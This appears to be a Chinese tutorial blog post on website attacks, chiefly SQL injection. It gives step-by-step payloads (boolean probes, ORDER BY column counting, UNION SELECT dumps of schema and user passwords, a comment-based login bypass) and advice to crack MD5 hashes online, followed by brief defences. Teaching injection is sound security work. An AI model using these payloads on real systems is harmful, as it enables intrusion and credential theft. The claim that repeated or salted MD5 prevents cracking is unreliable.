网站攻击的方式大致有三种:1、通过数据库注入攻击(通过检查工具,来判断数据库中是否存在表,)2、上传攻击,(通过上传webshell的方式,来攻击目标,有伪装图片的,有直接通过Burpsuite这种拦截请求,然后修改上传内容的),3、通过直接暴力破解ssh的地址(这种方式实现起来,需要跑字典的方式,比较的费时间)。
数据库注入原理
# 通过and 来判断 验证是否支持sql注入
and 1=1
and 1=2
# 然后通过 获取注入的字段的长度
# order 11, 查看是不是11个字段
#order 12 查看是不是12个字段
#通过第4个字段进行排序操作
select * from sys_role order by 4
#获取字段长度后,获取数据库信息
#判断是否存在表
select * from sys_role where exists(select * from sys_user);
#主要是通过exists来查看是否存在表
and exist (select * from admin)
#通过 union ,这种方式可以把数据库的信息获取到,直接就获取到系统的管理员密码,如果密码是md5的,可以直接去http://www.cmd5.com/ 进行解码
union (select 1,2,3,4xxx from xxx)
判断网站是否支持sql注入
测试网站是否支持数据库注入,如果出现异常,就说明不支持了,如果正常返回,说明这个连接,支持数据库注入。
获取数据库信息
获取去数据库系统信息
-- union select database(),version(),user(),4 from sy
s_role; 是后面注入的
select * from sys_role union select database(),version(),user(),4 from sy
s_role;
获取表信息
注入获取所有的表信息
select * from sys_role union select database(),version(),user(),4 from sy
s_role;
判断是否存在管理员表,通过猜的方式来获取去到数据库管理员的表的名称
第二种方式,通过插叙你的方式来获取表的名称
-- 我们已经知道数据库当前的schema yellowcong
-- 用户是root
-- 获取所有表的信息
select * from sys_role union SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='yellowcong' AND table_type='base table';
获取用户表信息
-- 我们已经知道数据库当前的schema yellowcong
-- 用户是root
-- 获取所有表的信息
select * from sys_role union SELECT column_name,2,3,4 FROM information_schema.columns WHERE table_schema='yellowcong' AND table_name='sys_user';
获取用户信息
-- 我们上面已经知道了表的信息
--所有就可以直接查询出来了
select * from sys_role union SELECT username,password,3,4 FROM sys_user;
登录注入
-- 正常查询
select * from sys_user where username ='yellowcong' and password='xx';
-- 注入方式查询,给中间一段给注释上了,直接就可以跑了
select * from sys_user where username =1/* and password='xx'*/ or 1=1;
直接通过查询的时候,注入/**/
来注释掉代码。
md5解密
通过下面这个网站,可以很轻松的将密码跑出来
http://www.cmd5.com/
md5解密防止的办法
给Md5多次加密的方式,和加盐的方式,来 实现md5加密,这样就可以防止md5解密了
注入的防止办法
在写代码的时候,尽量不要用sql语句拼接的方式,在JDBC中,最好用传递参数的方式,这样就可以解决问题了。还有对于实在不能通过参数,需要动态创建的sql,做好 sql的验证工作。